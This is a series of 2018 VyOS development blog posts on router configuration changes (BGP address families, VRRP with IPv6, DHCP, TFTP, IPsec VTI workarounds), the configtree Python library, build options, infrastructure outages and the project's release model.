Originally, VyOS used to have IPv6-specific BGP options under "address-family ipv6-unicast", but IPv4 options were directly under neighbor. The historical reason is that originally IPv6 BGP was not supported at all. This syntax was rather inconsistent, and made it hard to quickly see which options are address family specific. We used to stick with that inconsistent syntax just because it was always done that way.

One behaviour change in FRR made us reconsider that. As you may know, in BGP, routing information exchange is completely orthogonal to the session transport: IPv4 routes can be exchanged over a TCP connection established between IPv4 addresses and vice versa. The default behaviour of most, if not all, BGP implementation is to enable both address families regardless of the session transport.

That behaviour can be changed by an option, in VyOS, that's "set protocols bgp ... parameters default no-ipv4-unicast". The old behaviour of Quagga was to apply that only to sessions whose transport is IPv6, which is just as inconsistent. FRR takes that option literally and disabled IPv4 route advertisments for all peers if it's active, unless peers are explicitly activated for the IPv4 address family.

Making VyOS play well with that development requires an option to do that, and "address-family ipv4-unicast" is an obvious candidate, but introducing a special case doesn't feel write. I think moving original options to that subtree is a cleaner solution. Yes, it does require reprogramming your fingers, but when we start adding support for more address families, the original syntax will only start looking even more like an atavism.

This is what the new syntax will look like:

dmbaturin@vyos# show protocols bgp

 bgp 64444 {

     address-family {

         ipv4-unicast {

             network 192.168.2.0/24 {

             }

         }

     }

     neighbor 10.91.19.1 {

         address-family {

             ipv4-unicast {

                 allowas-in {

                     number 3

                 }

                 as-override

                 default-originate {

                     route-map Foo

                 }

                 maximum-prefix 50

                 route-map {

                     export Bar

                     import Baz

                 }

                 weight 10

             }

         }

         ebgp-multihop 255

         remote-as 64793

     }

}

Node renaming in migration scripts

Renaming nodes is a very common task in config syntax migration, but until now it could only be done very indirectly. The old XorpConfigParser simply could not separate names from values and renaming nodes was usually done by regex replace. In the new vyos.configtree you'd need to delete the old node and recreate it from scratch.

Until now. Lately we introduced a function that does it one step. If you, for whatever reason, wanted to rename "service ssh" subtree to "service secure-shell", you could do it like this:

with open("/config/config.boot") as f:

    config_text = f.read()

config = vyos.configtree.ConfigTree(config.text)
config.rename(["service", "ssh"], "secure-shell")
print(config.to_string())

One of the reason for introducing it is to make it easier to clean up the DHCP server syntax.

DHCP server rewrite

While we are waiting for the FRR fixes, we (Christian Poessinger and I mainly) decided to eliminate one more bit of the legacy code and give DHCP server scripts a rewrite. We also decided to clean up its syntax.

One of the things that always annoyed me was nested nodes for address ranges: "subnet 192.0.2.0/24 start 192.0.2.100 stop 192.0.2.100". Now start and stop will be different nodes, so that they are easy to change independently: "subnet 192.0.2.0/24 range Foo start 192.0.2.100; ... stop 192.0.2.200".

We will also rename the unwieldy "shared-network-name" to "pool". Operational mode commands always used the "pool" terminology, so it will also improve command consistency.

Wireguard support

Thanks to our contributor who goes by hagbard, VyOS now supports wireguard. The work on it is nearly complete, and will be covered in a separate post.

TFTP server support

Thanks to Christian Poessinger, VyOS now has TFTP server. It was a frequently requested feature, and I think it makes sense for people who keep DHCP on the router and do not want to setup another machine for provisioning phones, think clients and so on.

This is an example of TFTP server with all options set:

service {

 tftp-server {

     allow-upload

     directory /config/tftp

     listen-address 192.0.2.10

     port 69

 }

}

DMVPN works again

Thanks to our contributor Runar Borge, we have identified the cause and fixed the issues that broke DMVPN after upgrading to the latest upstream StrongSWAN. It should now work as expected.

L2TP/IPsec works again

One of the blockers introduced by upgrade to StrongSWAN 5.6 was broken L2TP/IPsec. We've adjusted the config to use the new syntax and now it works again.

More to come

We are actively working on getting the codebase ready for the release candidate. Stay tuned for new updates!

Build server maintenance

daniil@sentrium.io (Daniil Baturin) — Sun, 02 Sep 2018 12:16:55 GMT

We are doing some maintenance on ci.vyos.net and the build hosts. They may be inaccessible for an hour or two. We will notify you if it takes longer than expected.

VyOS 1.2.0 development news in July

daniil@sentrium.io (Daniil Baturin) — Mon, 06 Aug 2018 14:00:54 GMT

Despite the slow news season and the RAID incident that luckily slowed us down only for a couple of days, I think we've made good progress in July.

First, Kim Hagen got cloud-init to work, even though it didn't make it to the mainline image, and WAAgent required for Azure is not working yet. Some more work, and VyOS will get a much wider cloud platform support. He's also working on Wireguard integration and it's expected to be merged into current soon.

The new VRRP CLI and IPv6 support is another big change, but it's got its own blog post, so I won't stop there and cover things that did not get their own blog posts instead.

IPsec and VTI

While I regard VTI as the most leaky abstraction ever created and always suggest using honest GRE/IPsec instead, I know many people don't really have any choice because their partners or service providers are using it. In older StrongSWAN versions it used to just work.

Updating StrongSWAN to the latest version had an unforeseen and very unpleasant side effect: VTI tunnels stopped working. A workaround in form of "install_routes = no" in /etc/strongswan.d/charon.conf was discovered, but it has an equally bad side effect: site to site tunnels stop working when it's applied.

The root cause of the problem is that for VTI tunnels to work, their traffic selectors have to be set to 0.0.0.0/0 for traffic to match the tunnel, even though actual routing decision is made according to netfilter marks. Unless route insertion is disabled entirely, StrongSWAN thus mistakenly inserts a default route through the VTI peer address, which makes all traffic routed to nowhere.

This is a hard problem without a workaround that is easy and effective. It's an architectural problem in the new StrongSWAN, according to our investigation of its source code and its developer responses, there is simply no way to control route insertion per peer. One developer responded to it with "why, site to site and VTI tunnels are never used on the same machine anyway" — yeah, people are reporting bugs just out of curiosity.

While there is no clean solution within StrongSWAN, this definitely has been a blocker for the release candidate. Reimplementing route insertion with an up/down script proved to be a hard problem since there are lots of cases to handle and complete information about the intended SA may not always be available to scripts. Switching to another IKE implementation seems like an attractive option, but needs a serious evaluation of the alternatives, and a complete rewrite of the IPsec config scripts — which is planned, but will take a while because the legacy scripts is an unmaintainable mess.

I think I've found a workable (even if far from perfect workaround) — instead of inserting missing routes, delete the bad routes. I've made a test setup and it seems to work reasonably well. The obvious issue is that it doesn't prevent bad things from happening, but rather undoes the damage, so there may still be a brief traffic disruption when VTI tunnels go up. Another problem is a possible race condition between StrongSWAN inserting routes and the script deleting them, though I haven't seen it in practice yet and I hope it doesn't exist. But, at least you can now use both VTI and site to site tunnels on the same machine.

For people who want to use VTI exclusively, there is now "set vpn ipsec options disable-route-autoinstall" option that disables route insertion globally, thus removing the possible disruption, at cost of making site to site tunnels impossible to use. That option is disabled by default.

I hope it will be good enough until we find a better solution. Your testing is needed to confirm that it is!

Pre-config scripts

Apart from post-config scripts, that were always there, VyOS also supports pre-config scripts now, that are executed before the config.boot file is loaded. The pre-config script must be located in /config/scripts/vyos-preconfig-bootup.script

While it looks somewhat more exotic, there are use cases for it, for example copying a config from an external drive or network, or modifying the config. For example, if you are using VRRP transition scripts to modify the running config, you may write a script for the backup node that removes the options that are only supposed to be enabled on master, and no longer worry that they will remain enabled if you happen to save the config when that node is in master state.

Suppose you want your backup node to enable an IPsec tunnel when it becomes master. Then you can put something like this in your /config/scripts/vyos-preconfig-bootup.script:

#!/usr/bin/env python3
from vyos.configtree import ConfigTree
with open('/config/config.boot', 'r') as f:

    config_file = f.read()
config = ConfigTree(config_file)
if config.exists(['vpn', 'ipsec', 'site-to-site', 'peer', '192.0.2.10', 'tunnel', '1', 'disable']):

    config.delete(['vpn', 'ipsec', 'site-to-site', 'peer', '192.0.2.10', 'tunnel', '1', 'disable'])
with open(file_name, 'w') as f:

    f.write(config.to_string())

On that subject, for the post-config script, you can now use an alternavive, Vyatta-free name: /config/scripts/vyos-postconfig-bootup.script

If both old and new style script exist, the old one will be executed first.

DNSSEC support in the DNS forwarding service

Thanks to our new contributor who goes by mb300sd, the DNS forwarding service can configure DNSSEC options. The new command is "set service dns forwarding dnssec (off|process-no-validate|process|log-fail|validate)".

New Python/XML rewrites

The command definitions and scripts for dynamic DNS and for syslog have been rewritten by Christian Poessinger and hagbard respectively.

SNMP improvements

Christian Poessinger and Jules made a number of improvements in SNMP, including the new IPv6 community option (community6) and multiple bugfixes to improves the script robustness.

Planning to drop support for loading configs from very old Vyatta Core options

Kim Hagen and I discussed this issue lately. Right now we technically support loading configs from all Vyatta Core versions theoretically going down to the XORP-based Vyatta 1.0.

In practice, there are two problems with it: first, it relies on a rather clunky migration script system with lots of messy migration scripts, and second, since those versions are hardly seen in the wild now, no one put any real effort into testing if it still works or not.

The third problem is that Vyatta Core 6.5 is itself partially incompatible with older versions and requires "modify" firewalls to be manually rewritten as "policy route" settings, and there is no simple solution for this problem, not mentioning the fact that "policy route" syntax was a bad idea in the hindsight since it deprived users of useful options of modify firewalls without offering an alternative, so it will have to be redesigned anyway — with migration scripts to support previous VyOS and latest Vyatta Core of course!

If we drop support for loading configs from Vyatta Core versions older than 6.5, we can get rid of the old migration system entirely and make a new one without having to care about "bug compatibility". Users of the old Vyatta Core will still have the option to upgrade through VyOS 1.1.8, and since they have neglected updating for at least five years, I guess it's not a big price to pay.

On "run reset vrrp master"

daniil@sentrium.io (Daniil Baturin) — Sat, 28 Jul 2018 19:10:22 GMT

I've just exorcised a ghost of the old VRRP CLI implementation — the "reset vrrp master" command. I thought it would go away with the vyatta-vrrp package, but in fact it was in vyatta-op. It made me remember that I was going to write about it in the original blog post, but somehow I forgot about it.

Here is why that command was not reimplemented. First, it never worked with preempt to begin with, and with preempt being the default, its usefulness was already limited.

A more serious reason, however, is that it was a rather horrible (even if ingenious) kludge. This is how it worked: first it tried to locate the VRRP group in keepalived.conf, then it would remove it from the config, restart keepalived, insert it again, and restart keepalived again. It sort of worked, but you can see how fragile this approach is. If anything at any stage would go wrong, it would leave VRRP in an inconsistent state.

A much cleaner and general way to do it is to just disable the VRRP group in conf mode (set high-availability vrrp group Foo disable) and commit the change.

New VRRP CLI is here (with IPv6 support)

daniil@sentrium.io (Daniil Baturin) — Fri, 27 Jul 2018 22:10:19 GMT

Ever since I started with Vyatta, I've had a problem with commands for features unrelated to interfaces being defined inside interfaces. I'm sure the person who came up with that arrangement meant well and thought it would be familiar for Cisco and Juniper users, but the more I lived with it, the more I thought it creates more problems than it solves.

From the user perspective, it's hard to easily view the complete configuration of those features. It's also much harder to clone a feature config to another machine. And if you ever want to move some connection to a different NIC, things get even more fun.

For developers, however, it's even worse. First, it means commands for those features needs to be duplicated for every interface type, which makes adding new interfaces much harder. Second, configuration scripts end up more complex due to paths that can be nested quite deeply. Third, with the current config backend specifically, lack of nested end nodes can lead to very interesting tracking of the state to avoid repeated service restarts.

Until recently there was a token excuse for leaving unfortunate UI decisions alone — the difficulty of writing migration scripts. Luckily, it's no longer the case, so we can start cleaning it up. Ok, it is hard and you need to take care of many details, but at least you are not wrestling with a library that is simply inadequate for the task. Now we can go on a quest to remove excessive nesting and redesign the UI is an easier to use, more logical fashion.

VRRP looked a good feature to start the clean up with — we need to get IPv6 VRRP support to work in the end, its scripts have accumulated quite some cruft, and, well, it really has nothing to do with interface settings since it's a protocol of its own implemented by a userspace daemon.

Today I've rolled out the new implementation and it is already in the latest rolling release image, ready for your testing. Let's walk through the changes.

Keepalived

Keepalived was updated to version 2.0.5 with some patches of my own that are already in master but not in a release yet.

New VRRP syntax

Here is an example of a VRRP group with all available options set:

dmbaturin@vyos# show high-availability vrrp group WAN

 advertise-interval 5

 authentication {

     password qwerty

     type plaintext-password # could also be "ah"

 }

 description "My VRRP group"
 disable
 health-check {

     failure-count 5

     interval 60

     script /config/scripts/healthcheck.sh

 }

 hello-source-address 10.218.0.1

 interface eth1

 no-preempt

 peer-address 10.218.0.10

 preempt-delay 180

 priority 200

 rfc3768-compatibility

 transition-script {

     backup /config/scripts/backup.sh

     fault /config/scripts/fault.sh

     master /config/scripts/master.sh

 }

 virtual-address 10.218.0.100/24

 virtual-address 10.218.0.101/24

 vrid 42

As you can see, instead of being nested inside interfaces, VRRP has its own subtree now, "set high-availability vrrp". This makes it easy to move a VRRP group to a different interface, or change its VRID (Virtual Router ID) without resorting to node renaming or deleting and recreating it.

Originally, group number used to define the VRID, as in, "set interfaces ethernet eth0 vrrp vrrp-group 10" would create a group with VRID 10. Now group names are purely for identification and can be arbitrary. To set the VRID, use the "vrid" option.

Since groups are now outside of interfaces, the interface is also an option, that can be changed easily. The interfaces you can use are ethernet, bonding, bridge, and VLANs (including QinQ VLANs) on all of those.

Otherwise the options inside the groups changed little. The option that controls preempt mode is now a valueless node "no-preempt" rather than a boolean node "preempt (true|false)". The "run-transition-scripts" option is now simply "transition-script" — after all, what else one could do with them other than run them?

There is one behaviour change that I think no one will notice, but it should be mentioned. The old CLI used to allow setting a virtual-address without prefix length, as in "virtual-address 192.0.2.1". I think it was an oversight, because it could trick people into thinking it will have the same prefix length as the primary address of the interface, but it's not the case. Instead, the prefix length of such addresses would be set to /32, which, in broadcast networks, makes little sense. Now the CLI requires that you specify prefix length. If you relly want a virtual address with /32 or /128 mask, you should specify it explicitly.

Sync groups

You might have already noticed that sync-group option is missing, even though I said that group has all available options set. That's right — sync groups are now separate entities. This is how you can create one:

dmbaturin@vyos# show high-availability vrrp sync-group

 sync-group MySyncGroup {

     member WAN

     member LAN

 }

Unlike the old CLI, it's very easy to see which sync groups exist in the system, and shuffle VRRP groups between them if necessary.

IPv6 support

I'm pretty sure it's going to be everyone's first question, and rightfully so! The short answer is: yes, IPv6 VRRP is here for real. The long answer: with one caveat, you cannot mix IPv4 and IPv6 in one group.

This is a keepalived limitation. The VRRP protocol specification technically allows it, which is why I didn't make separate syntax for IPv6 groups. Maybe the restriction will be relaxed at some point, maybe not. Right now, if you try to mix IPv4 and IPv6 addresses in one group, you'll get a commit error.

dmbaturin@vyos# show interfaces ethernet eth1

 address 10.218.0.1/24

 address 2001:db8:ee::1/64

 duplex auto

 hw-id 00:50:56:9b:9d:9f

 smp-affinity auto

 speed auto

[edit]

dmbaturin@vyos# show high-availability

 vrrp {

     group IPv4 {

         interface eth1

         virtual-address 10.218.0.2/24

         vrid 44

     }

     group IPv6 {

         interface eth1

         virtual-address 2001:db8:ee::2/64

         vrid 43

     }

 }

[edit]

dmbaturin@vyos# run show interfaces ethernet eth1

eth1:  mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

    link/ether 00:50:56:9b:9d:9f brd ff:ff:ff:ff:ff:ff

    inet 10.218.0.1/24 brd 10.218.0.255 scope global eth1

       valid_lft forever preferred_lft forever

    inet 10.218.0.2/24 scope global secondary eth1

       valid_lft forever preferred_lft forever

    inet6 2001:db8:ee::2/64 scope global nodad

       valid_lft forever preferred_lft forever

    inet6 2001:db8:ee::1/64 scope global

       valid_lft forever preferred_lft forever

Operational mode commands

The essentials are implemented, but it's subject to expansion and improvement.

These commands are already there:

show vrrp
show vrrp detail
show vrrp statistics

The output of "show vrrp" has changed a bit, some hardly informative fields such as "addr owner" (which has little practical implications) were removed.

dmbaturin@vyos# run show vrrp

Name    Interface      VRID  State    Last Transition

------  -----------  ------  -------  -----------------

Foo     eth1             30  MASTER   4s

Lack of information about sync group membership is a more significant omission and if there's demand for it, I'll try to get it back. The reason for it is that the new op mode uses keepalived's JSON output implemented in recent versions, but that output lacks some information that was included in the old (hard to parse) format, so I'll need to send them a patch for it.

Transition scripts

The order of transition script arguments remains compatible. One difference is that for RFC-compliant (i.e. using a macvlan for virtual MAC) VRRP, transition scripts now receive the macvlan interface where addresses are actually assigneg, e.g. eth1v43.

Compatibility with old configs

To ensure compatibility with old configs, I've written a migration script that should cover both configs from 1.1.8 and from earlier versions of the rolling release (including unicast peer and health-check options).

Your old configs should be automatically converted to the new syntax after image updgrade.

Your testing is needed!

The code is new, and there may be corner cases I've missed. If you find any bugs, please report them!

Making first boot scripts just got easier (but building vyos-1x got a bit harder)

daniil@sentrium.io (Daniil Baturin) — Wed, 18 Jul 2018 10:22:25 GMT

As you probably know already, we are working on integrating cloud-init into VyOS, which will allow us to support multiple cloud platforms, and get rid of the custom script for EC2. The hard part of this project is that just allowing cloud-init to do what it normally does in Debian would not produce desired results, we need to make it modify the config.

This raises a question when this should occur and how it should be done. Since modifying running config with scripts has its difficulties in the current backend, and even if it didn't, it still could potentially clash with user's commits, we thought we may want to modify the config.boot file before it's loaded instead.

One advantage is that once we have common functionality implemented, it can be reused not only in cloud-init, but also in the installer, and in custom first boot scripts if someone wants them.

To test this concept, I've added a library names vyos.initialsetup that includes a collection of functions for common settings such as user passwords and keys, host name, default route, name servers, and interface addresses.

Here's an example of a script you can run on your system for demonstration (adjust user name and do ssh-keygen if necessary):

#!/usr/bin/env python3
import vyos.configtree as vct

import vyos.initialsetup as vis
with open('/opt/vyatta/etc/config.boot.default') as f:

    config_string = f.read()
with open('/home/dmbaturin/.ssh/id_rsa.pub') as f:

    key_string = f.read()
config = vct.ConfigTree(config_string)
vis.set_user_password(config, 'vyos', 'qwerty')

vis.set_user_ssh_key(config, 'vyos', key_string)
# Default level is admin

vis.create_user(config, 'dmbaturin', password=None, key=key_string)
# Default type is ethernet

vis.set_interface_address(config, 'eth0', '192.0.2.10/24')
vis.set_default_gateway(config, '192.0.2.1')
vis.set_name_servers(config, ['203.0.113.10', '203.0.113.20'])
vis.set_host_name(config, 'vyos-test')
print(str(config))

The script will print a customized config based on the default config.

Building vyos-1x

This is the good thing. The bad, or rather somewhat inconvenient thing is that vyos-1x package build now depends on the libvyosconfig0 package that provides the library behind the vyos.configtree module, and it's essential for running unit tests for those modules.

You should add the "deb http://dev.packages.vyos.net/repositories/current/vyos/ current main" repository to the sources.list on your build machine and install libvyosconfig0 with APT, or simply take the file from the repo and install it by hand with dpkg.

I hope the increased reliability we gain from those unit test outweighs the inconvenience of additional setup.

Infrastructure failure resolved, downloads.vyos.io is back now

daniil@sentrium.io (Daniil Baturin) — Fri, 13 Jul 2018 13:36:38 GMT

We have managed to resolve the infrastructure problems and bring the affected machines back intact. Now downloads.vyos.io and ci.vyos.net are back online, and our build hosts with all the build dependencies setup and uncommited code are back online too, so luckily we can resume the work from the point where it was stopped by the RAID issue.

We are not ready to give a complete post mortem on the actual issue yet (may not even be able to at all) since we have limited data and the service provider support was not exactly helpful. What we can say now is that what was thought to be RAID5 actually was a RAID1 with an additional hot spare drive, and the failure mode included a RAID controller glitch apart from drive failure. The hot spare drive is what allowed us to bring the data back intact.

While this issue was resolved without any data loss, it definitely prompts us to reconsider many things about our infrastructure, including backup strategy, deployment mechanisms, and service provider choice.

We are going to write new posts as we decide upon the options and roll out improvements. Infrastructure deployment is also a good area for contributions, and some people already offered help.

Infrastructure failure

daniil@sentrium.io (Daniil Baturin) — Fri, 13 Jul 2018 09:05:40 GMT

Hi everyone,

We've had a catastrophic failure on one of our hosts: two drives in a RAID5 failed simultaneously. A number of VMs related to the development infrastructure are permanently lost and need to be restored since we didn't have backups of them.

The only piece public infrastructure affected by it is downloads.vyos.io. You can use the old packages.vyos.net server or one of the mirrors to download the stable (1.1.8) or historical VyOS releases.

The other pieces of infrastructure that need to be restored are the Jenkins server, the build machines, and the repositories server. We'll have to restore them before we can continue development. I hope we'll get it done by Monday.

Building VyOS images with custom packages just got simpler

daniil@sentrium.io (Daniil Baturin) — Wed, 27 Jun 2018 12:44:58 GMT

While the new build scripts first introduced when we migrated the development branch to jessie made things much simpler for developers and for people who just want to build the latest VyOS image from source, building an image even simply with a package available from Debian Jessie repos but not present in the VyOS package set by default was still quite an ordeal for a person not familiar with live-build and the structure of our build scripts.

Well, until now. Yesterday I've added ./configure script options that should allow everyone to build a custom image without ever touching the plumbing of the build scripts.

The simplest example, building an image with packages available in Debian Jessie:

./configure --custom-packages "bsdgames robotfindskitten"

sudo make iso

A more interesting example, adding a package from a third party repo signed with its own key. In this case, salt-minion:

wget https://repo.saltstack.com/apt/debian/8/amd64/2017.7/SALTSTACK-GPG-KEY.pub

./configure --custom-apt-entry "deb http://repo.saltstack.com/apt/debian/8/amd64/2017.7 jessie main" --custom-packages "salt-minion" --custom-apt-key ./SALTSTACK-GPG-KEY.pub

sudo make iso

Of course it doesn't guarantee that your image will build or work, but at least it will get you to the debugging phase faster,

Versions mystery revealed

yuriy@sentrium.io (Yuriy Andamasov) — Mon, 25 Jun 2018 16:48:31 GMT

Over last few years, I saw many combinations and theories around VyOS, Vyatta, EdgeOS that I decided to shed light on this and also explain current and future VyOS versions

First was Vyatta

You can read the detailed history here at Wikipedia, and I just tell that all started back in 2006 (12 years ago!) and with release v6.0 in 2010 Vyatta Community renamed to Vyatta Core to highlight the fact that the Vyatta Subscription was no longer a separate product, but the open source version extended with proprietary add-ons. In retrospect, this is often seen as the beginning of the end. At the time the future of the open source Vyatta didn’t look as bleak though, and while since 6.0 Vyatta officially became “open core” (aka “freemium”), that release incorporated features formerly available only in the proprietary version, along with significant new features like image-based upgrade, and it seems like a sustainable model for a time.

In 2011 Ubiquiti Networks launched their EdgeMax line of products. EdgeOS™ is the essential part of the product line and is a fork of Vyatta Core 6.3 that exclusively runs on Cavium backed hardware produced by Ubiquiti Networks (EdgeRouter Lite, PoE, Pro) Since then they migrated to Debian 7 and replaced quagga with proprietary ZebOS™

In 2012 Vyatta was acquired by Brocade, and in April 2013 they renamed Vyatta Subscription Edition (VSE) to the Brocade Vyatta 5400 vRouter (and later also 5600) those a no longer open source. By that time all community resources were wiped, and future of Vyatta Core was obvious.

In late 2013 Daniil initiated fork of Vyatta Core 6.6 under VyOS name. It's a start of development of so-called old stable 1.1.x series which based on Debian 6 (patched all the way) the latest version is 1.1.8 and now in Extended support

fall of 2015, we began an upgrade of VyOS project in many senses, that is a time when 1.2.x started (decision to skip Debian 7 and go directly to Debian 8 which includes migration to systemd among other things) enhancements and new development happening in the rolling version that we introduced some time ago.

Now that know the background, it’s a good time to describe the details on the new VyOS release model.

Rolling

You can already download binary images of the rolling release of VyOS 1.2.x here, which are snapshots of the current development state. All new features, refactoring of old code, improvements of the OS package base go there before they can become a part of a release candidate or a stable release.

Rolling release builds may break occasionally, and new features may not work as expected. They are meant for contributors and networking enthusiasts who are willing to help us test those features.

Release Candidate (RC)

About every six months, we will start a new release cycle. The cycle will begin with branching off the rolling release and preparing a release candidate. Release candidates are neither code nor feature frozen, as we fix bugs or design issues, or new features in rolling become stable and well tested, we may prepare a new RC that incorporates them.

Release candidates are supposed to be stable enough for non-critical production, but if you prefer stability over new features, you may want to stick with EPA or LTS.

Early Production Access (EPA)

After RC cycle is over and the release is sufficiently stable, it will become the basis for the next LTS release.

EPA is for customers and community members who want new features before they are available in the LTS, and are willing to help us weed out last bugs in those new features.

Long Term Support (LTS)

LTS version of VyOS will be receiving security patches and high priority fixes from rolling releases.

They are meant for enterprise and service provider users who value stability over everything.

We’d like to encourage everyone to install the least stable version to help us with testing.

As bonus

VyOS to Debian version map

All product names, logos, and brands are property of their respective owners.

VyOS 1.2.0 development news in June

daniil@sentrium.io (Daniil Baturin) — Wed, 20 Jun 2018 16:33:25 GMT

If we haven't written any new blog posts in a while, that's because we've all been busy with development. Here is what happened since the last status update.

RADIUS authentication and authorization

We've had nominal support for RADIUS authentication for system login for a long time, but it was essentially useless because it required that the user account to already exist in VyOS to actually work, it was just a password checking method.

Kim Hagen found a way to implement real support for it and it appears to work fine (but of course needs testing). Apart from authentication, his implementation also supports authorization through the priv-lvl attribute. Privilege level 15 is mapped to admin users, anything below it is operator. This seems to be the most common way to do that, after Cisco.

Correct naming of PPTP and L2TP interfaces works again

The idea to switch to the upstream PPPD turned out to be premature — while it does have support for pre-up scripts, it still makes an assumption that the interface name is not changed by pre-up script, so remote access VPN interfaces were named pppX, which broke the "run show vpn remote-access" commands, and would break zone-based firewalls of people who rely on that naming.

We've re-applied the old patches for it to the latest upstream PPPD and opened pull requests for them, so if they are merged, we can finally stop building our own, and if not, we have clean patches that should be easy to apply to future releases.

Rewritten SNMP and SSH

Christian Poessinger did a lot of work on rewriting old Perl/shell code to Python and extending it. After making the switch from dnsmasq to PowerDNS recursor happen, he focused on SNMP and SSH, and now we have far cleaner implementations of both. In particular, support for SNMPv3 was cleaned up and improved.

SSH rewrite is not just a rewrite either: now it supports access controls through "set service ssh access-control <allow|deny> <user|group> <name>" commands.

Ongoing operational mode commands rewrite

In the old vyatta-op package, we have a lot of op mode commands that are not directly related to any configuration mode features. They make a good target for testing and refining the new operational command infrastructure. They also make excellent tasks for first time contributors.

Runar Borge answered our call to action and converted a whole bunch of those commands — that might have been the biggest pull request in terms of the number of involved commands we have ever received. While he's already done a great work, there are still plenty of commands to convert and thus lots of room for collabotation. That work is coordinated in https://phabricator.vyos.net/T689, and everyone is welcome to join it.

Support for VRRP health check scripts

Just yesterday we've added support for VRRP health check scripts that can add more flexibility to VRRP setups. Here's an example:

vrrp {

             vrrp-group 10 {

                 advertise-interval 1

                 health-check {

                     failure-count 2

                     interval 5

                     script /config/scripts/test.sh

                 }

                 preempt true

                 virtual-address 192.168.43.2/24

             }

         }

This was made specially for a user who needs it right now. When we get to rewriting VRRP to move its configuration to a separate subtree, we'll make sure to include this in migration scripts.

New implementation of "run show configuration commands"

The original implementation was a rather dirty hack. First, it would first save the output of the "show" command to file and then parse it from there. Second, it used the same flawed parser that was used by migration scripts, so it was unable to handle comments at all and would insert quotes where none are needed (ethernet 'eth0') — internally, because it could not tell tag nodes from leaf nodes with values.

I've adapted the library that is now used for migration scripts for this purpose, and now the config to commands convertor takes advantage of the new, correct parser. See an example:

vyos@vyos-test# show interfaces dummy

 /* So very dummy */

 dummy dum0 {

     address 10.74.74.1/24

 }

 dummy dum1 {

     address 192.0.2.6/24

 }

 dummy dum2 {

     address 203.0.113.4/24

     disable

 }

[edit]

vyos@vyos-test# show interfaces dummy | commands

set dummy dum0 address '10.74.74.1/24'

comment dummy dum0 'So very dummy'

set dummy dum1 address '192.0.2.6/24'

set dummy dum2 address '203.0.113.4/24'

set dummy dum2 disable

The new implementation is also about 40% faster (when used on a complete config, as in "run show configuration commands"), though the "|commands" pipe is slightly slower due to some hacks needed to convert an incomplete (and thus ungrammatical) outputs such as that of a single leaf node to a complete config, but is normally operates on very small data so it shouldn't be noticeable).

UNIX purists would also be pleased to know that the new "|commands" is a real pipe. It doesn't create any temporary files, even though it's not streaming (but then again, neither VyOS config format is line-oriented).

You can also call it by hand on any config file, e.g. "cat /config/config.boot | vyos-config-to-commands".

intfwatchd is no more

The kernel behaviour for IPv4 addresses
always has been to restore them if an interface goes down and then goes
up. The behaviour for IPv6 addreses used to be the same, but in the
3.13 kernel we used for 1.1.x, the behaviour was changed to remove them
forever if an interface goes down. I kinda can see how this makes sense
for hosts that use autoconfiguration, but for routers ,
that's just inexcusable. NetworkManager also isn't a good solution for
routers as it doesn't make non-disruptive reconfiguration any easy, so
we've had to find a workaround, and I wrote a simple daemon that watched
netlink events and restored IPv6 addresses when necessary. The only
really good thing it did was that it helped us discover a memory leak in
the Perl config access library (the bad things is that it made the
daemon eat up too much memory and crash before the bug was fixed).

Anyway,
luckily, recent kernels have sysctl knobs to control this behaviour,
and old (sensible) behaviour could be restored. I was happy to remove
intfwatchd from the system when I verified that we can again have it
work properly without any crutches.

All user scripts should run with correct GID now

In the old
config backend, there's still a problem that messes up running config
permissions unless all processes that modify it run with correct GID,
else no one but the user who started the process can commit anymore
unless the routed is rebooted or the permissions are fixed by hand.

To
alleviate this problem, we've made VRRP transition scripts, cron
scripts, and load balancing scripts automatically use correct GID. If
you are running them from elsewhere, you still need to wrap them in "sg
vyattacfg".

API documentation

We should have done it long time ago, but better late than never. Today I've added sphinx setup and makefile targets to the vyos-1x package, added docstrings to the vyos.config module, and we've setup a web host to keep the generated docs. You can find them here: http://docs.vyos.io/api/vyos.html#module-vyos.config

There is much to do there of course, but it's some start.

Licensing of VyOS libraries

As the new Python code is written, it's gradually splitting into common libraries and executables. It means the time to sort out licensing has come. Originally, the vyos.config module was under MIT, and there were a few other files under MIT from the time when VyOS had just a few Python files, but other libraries from the vyos-1x package era were under LGPLv2+. This was quite a mess to be fair.

Now all libraries in the vyos.* module hierarchy are LGPLv2+, while executable scripts are GPLv2+. I hope this will simplify linking to the common VyOS libraries from third-party extensions, while still protecting that code from proprietary forks.

Writing migration scripts (and manipulating VyOS config files outside VyOS) just got easier

daniil@sentrium.io (Daniil Baturin) — Mon, 28 May 2018 11:42:30 GMT

Long story short

VyOS 1.2.0-rolling (starting with the next nightly build) includes a library for parsing and manipulating config files without loading them into the system config. It can be used for automatically converting configs from old versions in case an incompatible change was made, and for standalone utilities. Motivation and history are discussed below.

Here is an example of interacting with the new library:

>>> from vyos import configtree
>>> c = configtree.ConfigTree("system { host-name vyos \n } interfaces { dummy dum0 { address 192.0.2.1/24 \n address 192.0.2.20/24 \n disable \n } }  /* version: 1.2.0 */")
>>> print(c.to_string())

system {

    host-name vyos

}

interfaces {

    dummy dum0 {

        address 192.0.2.1/24

        address 192.0.2.20/24

        disable { }

    }

}
 /* version: 1.2.0 */
>>> c.set(['interfaces', 'dummy', 'dum0', 'address'], value='293.0.113.3/32', replace=False)
>>> c.delete_value(['interfaces', 'dummy', 'dum0', 'address'], '192.0.2.1/24')
>>> c.delete(['interfaces', 'dummy', 'dum0', 'disable'])
>>> c.is_tag(['interfaces', 'dummy'])

True
>>> c.exists(['interfaces', 'dummy', 'dum0', 'disable'])

False
>>> c.list_nodes(['interfaces', 'dummy'])

['dum0']
>>> print(c.to_string())

system {

    host-name vyos

}

interfaces {

    dummy dum0 {

        address 192.0.2.20/24

        address 293.0.113.3/32

    }

}
 /* version: 1.2.0 */

As you can see, it largely mimics the API you get for the running
config. The only notable differences are that the "set" method requires
that you specify the path and the value separately, and to have nodes
formatted as tag nodes (i.e. "ethernet eth0 { ..." as opposed to
"ethernet { eth0 { ..." you need to mark them as such with "set_tag",
unless they were originally formatted that way in the config you parsed.

Incompatible syntax changes and migration scripts

Have you ever noticed the mysterious line at the end of saved VyOS configs?

/* Warning: Do not remove the following line. */

/* === vyatta-config-version: "cluster@1:config-management@1:conntrack-sync@1:conntrack@1:cron@1:dhcp-relay@1:dhcp-server@4:firewall@5:ipsec@4:nat@4:qos@1:quagga@2:system@6:vrrp@1:wanloadbalance@3:webgui@1:webproxy@1:zone-policy@1" === */

/* Release version: VyOS 1.1.8 */

